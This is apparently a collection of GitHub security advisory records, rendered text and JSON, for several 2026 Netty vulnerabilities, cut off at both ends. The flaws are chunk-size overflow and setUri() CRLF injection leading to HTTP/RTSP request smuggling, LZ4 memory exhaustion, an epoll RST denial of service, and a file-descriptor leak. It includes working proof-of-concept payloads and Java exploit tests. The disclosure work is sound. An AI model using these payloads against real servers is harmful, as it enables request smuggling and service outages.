}
],
"aliases": [
"CVE-2026-42580"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:13:05Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "MODERATE"
},
"details": "### Summary\nNetty\u0027s chunk size parser silently overflows int, enabling request smuggling attacks.\n\n### Details\nio.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.\n\nThe size is accumulated as follows:\n\nresult *= 16;\nresult += digit;\n\nThe result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.\n\n```java\n@Test\npublic void test() {\n String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\n \"100000004\\r\\n\" +\n \"test\\r\\n\" +\n \"0\\r\\n\" +\n \"\\r\\n\" +\n \"GET /smuggled HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"Content-Length: 0\\r\\n\" +\n \"\\r\\n\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n // Request 1\n HttpRequest request = channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n HttpContent content = channel.readInbound();\n assertTrue(content.decoderResult().isSuccess());\n assertEquals(\"test\", content.content().toString(CharsetUtil.US_ASCII));\n content.release();\n LastHttpContent last = channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n last.release();\n\n // Request 2\n request = channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n last = channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n last.release();\n}\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
"id": "GHSA-m4cv-j2px-7723",
"modified": "2026-05-14T20:41:01Z",
"published": "2026-05-07T00:13:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-m4cv-j2px-7723"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42580"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing"
}
GHSA-MJ4R-2HFC-F8P6
Vulnerability from github – Published: 2026-05-07 00:20 – Updated: 2026-05-14 20:41Summary
Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}
Impact
Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42583"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:20:35Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
"details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n @Test\n void test() throws Exception {\n EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n try {\n AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n CountDownLatch latch = new CountDownLatch(1);\n\n ServerBootstrap server = new ServerBootstrap()\n .group(workerGroup)\n .channel(NioServerSocketChannel.class)\n .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n @Override\n protected void initChannel(SocketChannel ch) {\n ch.pipeline()\n .addLast(new Lz4FrameDecoder())\n .addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n if (cause instanceof DecoderException) {\n serverError.set(cause.getCause());\n } else {\n serverError.set(cause);\n }\n latch.countDown();\n }\n });\n }\n });\n\n ChannelFuture serverChannel = server.bind(0).sync();\n\n Bootstrap client = new Bootstrap()\n .group(workerGroup)\n .channel(NioSocketChannel.class)\n .handler(new ChannelInboundHandlerAdapter() {\n @Override\n public void channelActive(ChannelHandlerContext ctx) {\n ByteBuf buf = ctx.alloc().buffer(22, 22);\n buf.writeLong(MAGIC_NUMBER);\n buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n buf.writeIntLE(1);\n buf.writeIntLE(1 \u003c\u003c 25);\n buf.writeIntLE(0);\n buf.writeByte(0);\n\n ctx.writeAndFlush(buf);\n\n ctx.fireChannelActive();\n }\n });\n\n ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n clientChannel.channel().close();\n serverChannel.channel().close();\n } finally {\n workerGroup.shutdownGracefully();\n }\n }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
"id": "GHSA-mj4r-2hfc-f8p6",
"modified": "2026-05-14T20:41:13Z",
"published": "2026-05-07T00:20:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}
GHSA-RWM7-X88C-3G2P
Vulnerability from github – Published: 2026-05-06 23:10 – Updated: 2026-07-24 19:05Summary
Netty's epoll transport fails to detect and close TCP connections that receive a RST after being half-closed, leading to stale channels that are never cleaned up and, in some code paths, a 100% CPU busy-loop in the event loop thread.
Affected versions
All versions of 4.2.x netty-transport-classes-epoll up to and including 4.2.12.Final
Fixed in
4.2.13.Final (fix merged into the 4.2 branch via #16689; release not yet cut as of 2026-04-25).
Severity
Medium — Denial of Service (resource exhaustion / CPU spin)
CVSS: 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - 7.5
CWE: CWE-772: Missing Release of Resource after Effective Lifetime
Description
When a TCP connection using Netty's epoll transport has ALLOW_HALF_CLOSURE enabled (or is in a half-closed state via the HTTP codec), and the remote peer:
- Sends a FIN (half-close), causing the server to mark the input as shutdown, then
- Sends a RST (e.g. by closing with
SO_LINGER=0)
the server-side channel is never closed. This happens because:
epollOutReady()is a no-op when there is no pending flush.epollInReady()short-circuits viashouldBreakEpollInReady()because input is already marked as shutdown.- The
EPOLLERR/EPOLLHUPerror condition is therefore never processed, andchannelInactiveis never fired.
Depending on the Netty version and configuration, this results in:
- Stale channels: The connection is never closed or deregistered. An unauthenticated remote attacker can repeat the sequence to accumulate stale connections, exhausting file descriptors, memory, or connection-count limits.
- CPU busy-loop: In code paths where
clearEpollIn0()is not called during theChannelInputShutdownReadCompleteevent,epoll_waitreturns immediately on every iteration for the affected fd, causing 100% CPU utilization on the event loop thread and starving all other connections multiplexed on it.
Mitigation
- Upgrade to 4.2.13.Final when released (or build from the
4.2branch at commit0ec3d97). - If upgrading is not immediately possible, configure idle timeouts on connections to limit the lifetime of stale channels.
References
- Issue: https://github.com/netty/netty/issues/16683
- Fix: https://github.com/netty/netty/pull/16689
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-transport-classes-epoll"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42577"
],
"database_specific": {
"cwe_ids": [
"CWE-772"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T23:10:41Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
"details": "## Summary\n\nNetty\u0027s epoll transport fails to detect and close TCP connections that receive a RST after being half-closed, leading to stale channels that are never cleaned up and, in some code paths, a 100% CPU busy-loop in the event loop thread.\n\n## Affected versions\n\nAll versions of 4.2.x `netty-transport-classes-epoll` up to and including 4.2.12.Final\n\n## Fixed in\n\n4.2.13.Final (fix merged into the `4.2` branch via [#16689](https://github.com/netty/netty/pull/16689); release not yet cut as of 2026-04-25).\n\n## Severity\n\n**Medium** \u2014 Denial of Service (resource exhaustion / CPU spin)\n\n**CVSS:** 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - **7.5**\n\n**CWE:** CWE-772: Missing Release of Resource after Effective Lifetime\n\n## Description\n\nWhen a TCP connection using Netty\u0027s epoll transport has `ALLOW_HALF_CLOSURE` enabled (or is in a half-closed state via the HTTP codec), and the remote peer:\n\n1. Sends a FIN (half-close), causing the server to mark the input as shutdown, then\n2. Sends a RST (e.g. by closing with `SO_LINGER=0`)\n\nthe server-side channel is never closed. This happens because:\n\n- `epollOutReady()` is a no-op when there is no pending flush.\n- `epollInReady()` short-circuits via `shouldBreakEpollInReady()` because input is already marked as shutdown.\n- The `EPOLLERR`/`EPOLLHUP` error condition is therefore never processed, and `channelInactive` is never fired.\n\nDepending on the Netty version and configuration, this results in:\n\n- **Stale channels**: The connection is never closed or deregistered. An unauthenticated remote attacker can repeat the sequence to accumulate stale connections, exhausting file descriptors, memory, or connection-count limits.\n- **CPU busy-loop**: In code paths where `clearEpollIn0()` is not called during the `ChannelInputShutdownReadComplete` event, `epoll_wait` returns immediately on every iteration for the affected fd, causing 100% CPU utilization on the event loop thread and starving all other connections multiplexed on it.\n\n## Mitigation\n\n- Upgrade to 4.2.13.Final when released (or build from the `4.2` branch at commit [`0ec3d97`](https://github.com/netty/netty/commit/0ec3d97fab376e243d328ac95fbd288ba0f6e22d)).\n- If upgrading is not immediately possible, configure idle timeouts on connections to limit the lifetime of stale channels.\n\n## References\n\n- Issue: https://github.com/netty/netty/issues/16683\n- Fix: https://github.com/netty/netty/pull/16689",
"id": "GHSA-rwm7-x88c-3g2p",
"modified": "2026-07-24T19:05:52Z",
"published": "2026-05-06T23:10:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-rwm7-x88c-3g2p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42577"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/pull/16689"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/0ec3d97fab376e243d328ac95fbd288ba0f6e22d"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty epoll transport denial of service via RST on half-closed TCP connection"
}
GHSA-V8H7-RR48-VMMV
Vulnerability from github – Published: 2026-05-05 18:27 – Updated: 2026-05-08 19:32Summary
Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri().
The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests.
In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.
Details
The root issue is that URI validation exists only on the constructor path, but not on the public setter path.
io.netty.handler.codec.http.DefaultHttpRequest- The constructor calls
HttpUtil.validateRequestLineTokens(method, uri) setUri(String uri)only performscheckNotNulland does not validateio.netty.handler.codec.http.DefaultFullHttpRequestsetUri(String uri)delegates to the parent implementationio.netty.handler.codec.http.HttpRequestEncoder- Writes
request.uri()directly into the request line io.netty.handler.codec.rtsp.RtspEncoder- Writes
request.uri()directly into the request line
This creates the following bypass:
- An application creates a
DefaultHttpRequestorDefaultFullHttpRequestwith a safe URI - Later, attacker-influenced input is passed into
setUri() HttpRequestEncoderorRtspEncoderencodes that value verbatim- The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests
This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.
PoC (HTTP)
The following code first creates a normal request object and then injects a malicious request line using setUri().
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.http.HttpMethod;
import io.netty.handler.codec.http.HttpRequestEncoder;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.util.CharsetUtil;
public final class HttpSetUriSmugglePoc {
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());
EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe");
request.setUri("/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1");
client.writeOutbound(request);
ByteBuf outbound = client.readOutbound();
System.out.println("=== Raw encoded request ===");
System.out.println(outbound.toString(CharsetUtil.US_ASCII));
System.out.println("=== Decoded by HttpServerCodec ===");
server.writeInbound(outbound.retainedDuplicate());
Object msg;
while ((msg = server.readInbound()) != null) {
System.out.println(msg);
}
outbound.release();
client.finishAndReleaseAll();
server.finishAndReleaseAll();
}
}
When reproduced, the raw encoded request looks like this:
GET /s1 HTTP/1.1
POST /s2 HTTP/1.1
content-length: 11
Hello WorldGET /s1 HTTP/1.1
HttpServerCodec then parses this as multiple HTTP messages rather than a single request:
GET /s1POST /s2with bodyHello World- trailing
GET /s1
This confirms that the value supplied through setUri() is interpreted on the wire as additional requests.
PoC (RTSP)
The same root cause also affects RtspEncoder. A minimal reproduction is shown below.
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.rtsp.RtspDecoder;
import io.netty.handler.codec.rtsp.RtspEncoder;
import io.netty.handler.codec.rtsp.RtspMethods;
import io.netty.handler.codec.rtsp.RtspVersions;
import io.netty.util.CharsetUtil;
public final class RtspSetUriSmugglePoc {
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());
EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());
DefaultHttpRequest request = new DefaultHttpRequest(
RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media");
request.setUri("rtsp://cam/stream RTSP/1.0\r\n" +
"CSeq: 1\r\n\r\n" +
"DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" +
"CSeq: 2\r\n\r\n" +
"OPTIONS rtsp://cam/final");
client.writeOutbound(request);
ByteBuf outbound = client.readOutbound();
System.out.println("=== Raw encoded RTSP request ===");
System.out.println(outbound.toString(CharsetUtil.US_ASCII));
System.out.println("=== Decoded by RtspDecoder ===");
server.writeInbound(outbound.retainedDuplicate());
}
}
When reproduced, RtspEncoder generates consecutive RTSP requests in a single encoded payload:
OPTIONS rtsp://cam/stream RTSP/1.0
CSeq: 1
DESCRIBE rtsp://cam/secret RTSP/1.0
CSeq: 2
OPTIONS rtsp://cam/final RTSP/1.0
RtspDecoder then parses this as three separate RTSP requests:
OPTIONS rtsp://cam/streamDESCRIBE rtsp://cam/secretOPTIONS rtsp://cam/final
This confirms that the same setter bypass is exploitable for RTSP request injection as well.
Impact
The vulnerable conditions are:
- The application uses
DefaultHttpRequestorDefaultFullHttpRequest - The request object is created first and later modified through
setUri() - The value passed into
setUri()is attacker-controlled or attacker-influenced - The object is eventually serialized by
HttpRequestEncoderorRtspEncoder
Under those conditions, an attacker may be able to:
- perform HTTP request smuggling
- trigger proxy/backend desynchronization
- inject additional requests toward internal APIs
- confuse request boundaries and bypass assumptions around authentication or routing
- inject RTSP requests
The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.
Root Cause
Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.
As a result, the constructors are safe while the public setUri() path is not, and the encoders trust and serialize the mutated value without revalidation.
Suggested Fix Direction
DefaultHttpRequest.setUri() and all delegating/inheriting paths should apply the same request-line token validation as the constructors.
Recommended regression coverage:
- verify that
setUri()rejects CRLF-containing input after object construction - verify that
DefaultFullHttpRequest.setUri()is blocked as well - verify that spaces,
\r,\n, and request-smuggling payloads are rejected - verify that both
HttpRequestEncoderandRtspEncoderare protected from setter-based bypasses
Affected Area
netty-codec-httpio.netty.handler.codec.http.DefaultHttpRequestio.netty.handler.codec.http.DefaultFullHttpRequestio.netty.handler.codec.http.HttpRequestEncoderio.netty.handler.codec.rtsp.RtspEncoder
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41417"
],
"database_specific": {
"cwe_ids": [
"CWE-444",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T18:27:35Z",
"nvd_published_at": "2026-05-06T22:16:25Z",
"severity": "MODERATE"
},
"details": "### Summary\nNetty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`.\n\nThe constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests.\n\nIn practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.\n\n### Details\nThe root issue is that URI validation exists only on the constructor path, but not on the public setter path.\n\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)`\n - `setUri(String uri)` only performs `checkNotNull` and does not validate\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n - `setUri(String uri)` delegates to the parent implementation\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n - Writes `request.uri()` directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n - Writes `request.uri()` directly into the request line\n\nThis creates the following bypass:\n\n1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests\n\nThis appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code first creates a normal request object and then injects a malicious request line using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.http.HttpMethod;\nimport io.netty.handler.codec.http.HttpRequestEncoder;\nimport io.netty.handler.codec.http.HttpServerCodec;\nimport io.netty.handler.codec.http.HttpVersion;\nimport io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n public static void main(String[] args) {\n EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());\n EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());\n\n DefaultHttpRequest request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.GET, \"/safe\");\n\n request.setUri(\"/s1 HTTP/1.1\\r\\n\" +\n \"\\r\\n\" +\n \"POST /s2 HTTP/1.1\\r\\n\" +\n \"content-length: 11\\r\\n\\r\\n\" +\n \"Hello World\" +\n \"GET /s1\");\n\n client.writeOutbound(request);\n ByteBuf outbound = client.readOutbound();\n\n System.out.println(\"=== Raw encoded request ===\");\n System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n System.out.println(\"=== Decoded by HttpServerCodec ===\");\n server.writeInbound(outbound.retainedDuplicate());\n\n Object msg;\n while ((msg = server.readInbound()) != null) {\n System.out.println(msg);\n }\n\n outbound.release();\n client.finishAndReleaseAll();\n server.finishAndReleaseAll();\n }\n}\n```\n\nWhen reproduced, the raw encoded request looks like this:\n\n```http\nGET /s1 HTTP/1.1\n\nPOST /s2 HTTP/1.1\ncontent-length: 11\n\nHello WorldGET /s1 HTTP/1.1\n```\n\n`HttpServerCodec` then parses this as multiple HTTP messages rather than a single request:\n\n- `GET /s1`\n- `POST /s2` with body `Hello World`\n- trailing `GET /s1`\n\nThis confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests.\n\n### PoC (RTSP)\nThe same root cause also affects `RtspEncoder`. A minimal reproduction is shown below.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.rtsp.RtspDecoder;\nimport io.netty.handler.codec.rtsp.RtspEncoder;\nimport io.netty.handler.codec.rtsp.RtspMethods;\nimport io.netty.handler.codec.rtsp.RtspVersions;\nimport io.netty.util.CharsetUtil;\n\npublic final class RtspSetUriSmugglePoc {\n public static void main(String[] args) {\n EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());\n EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());\n\n DefaultHttpRequest request = new DefaultHttpRequest(\n RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, \"rtsp://safe/media\");\n\n request.setUri(\"rtsp://cam/stream RTSP/1.0\\r\\n\" +\n \"CSeq: 1\\r\\n\\r\\n\" +\n \"DESCRIBE rtsp://cam/secret RTSP/1.0\\r\\n\" +\n \"CSeq: 2\\r\\n\\r\\n\" +\n \"OPTIONS rtsp://cam/final\");\n\n client.writeOutbound(request);\n ByteBuf outbound = client.readOutbound();\n\n System.out.println(\"=== Raw encoded RTSP request ===\");\n System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n System.out.println(\"=== Decoded by RtspDecoder ===\");\n server.writeInbound(outbound.retainedDuplicate());\n }\n}\n```\n\nWhen reproduced, `RtspEncoder` generates consecutive RTSP requests in a single encoded payload:\n\n```text\nOPTIONS rtsp://cam/stream RTSP/1.0\nCSeq: 1\n\nDESCRIBE rtsp://cam/secret RTSP/1.0\nCSeq: 2\n\nOPTIONS rtsp://cam/final RTSP/1.0\n```\n\n`RtspDecoder` then parses this as three separate RTSP requests:\n\n- `OPTIONS rtsp://cam/stream`\n- `DESCRIBE rtsp://cam/secret`\n- `OPTIONS rtsp://cam/final`\n\nThis confirms that the same setter bypass is exploitable for RTSP request injection as well.\n\n### Impact\nThe vulnerable conditions are:\n\n- The application uses `DefaultHttpRequest` or `DefaultFullHttpRequest`\n- The request object is created first and later modified through `setUri()`\n- The value passed into `setUri()` is attacker-controlled or attacker-influenced\n- The object is eventually serialized by `HttpRequestEncoder` or `RtspEncoder`\n\nUnder those conditions, an attacker may be able to:\n\n- perform HTTP request smuggling\n- trigger proxy/backend desynchronization\n- inject additional requests toward internal APIs\n- confuse request boundaries and bypass assumptions around authentication or routing\n- inject RTSP requests\n\nThe exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.\n\n### Root Cause\nValidation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.\n\nAs a result, the constructors are safe while the public `setUri()` path is not, and the encoders trust and serialize the mutated value without revalidation.\n\n### Suggested Fix Direction\n`DefaultHttpRequest.setUri()` and all delegating/inheriting paths should apply the same request-line token validation as the constructors.\n\nRecommended regression coverage:\n\n- verify that `setUri()` rejects CRLF-containing input after object construction\n- verify that `DefaultFullHttpRequest.setUri()` is blocked as well\n- verify that spaces, `\\r`, `\\n`, and request-smuggling payloads are rejected\n- verify that both `HttpRequestEncoder` and `RtspEncoder` are protected from setter-based bypasses\n\n### Affected Area\n- `netty-codec-http`\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n- `io.netty.handler.codec.rtsp.RtspEncoder`",
"id": "GHSA-v8h7-rr48-vmmv",
"modified": "2026-05-08T19:32:42Z",
"published": "2026-05-05T18:27:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41417"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection"
}
GHSA-W573-9FFJ-6FF9
Vulnerability from github – Published: 2026-06-08 23:01 – Updated: 2026-06-12 19:29netty_unix_socket_recvFd sets msg_control to char control[CMSG_SPACE(sizeof(int))] (line 940) — 24 bytes on 64-bit Linux. A peer-sent SCM_RIGHTS cmsg carrying two ints has cmsg_len = CMSG_LEN(8) = 24, which fits exactly with no MSG_CTRUNC, so the kernel installs both fds in the receiving process. The subsequent check cmsg->cmsg_len == CMSG_LEN(sizeof(int)) (line 972, expected 20) fails, the branch that would read the fd is skipped, and neither installed fd is closed. The for(;;) loop calls recvmsg again (non-blocking → EAGAIN → Java maps to 0 → read loop exits normally), leaving two leaked fds per message. There is no MSG_CTRUNC handling. Reachable via Epoll/KQueue DomainSocketChannel when the application opts into DomainSocketReadMode.FILE_DESCRIPTORS (non-default).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-transport-native-epoll"
},
"ranges": [
{
"events": [
{
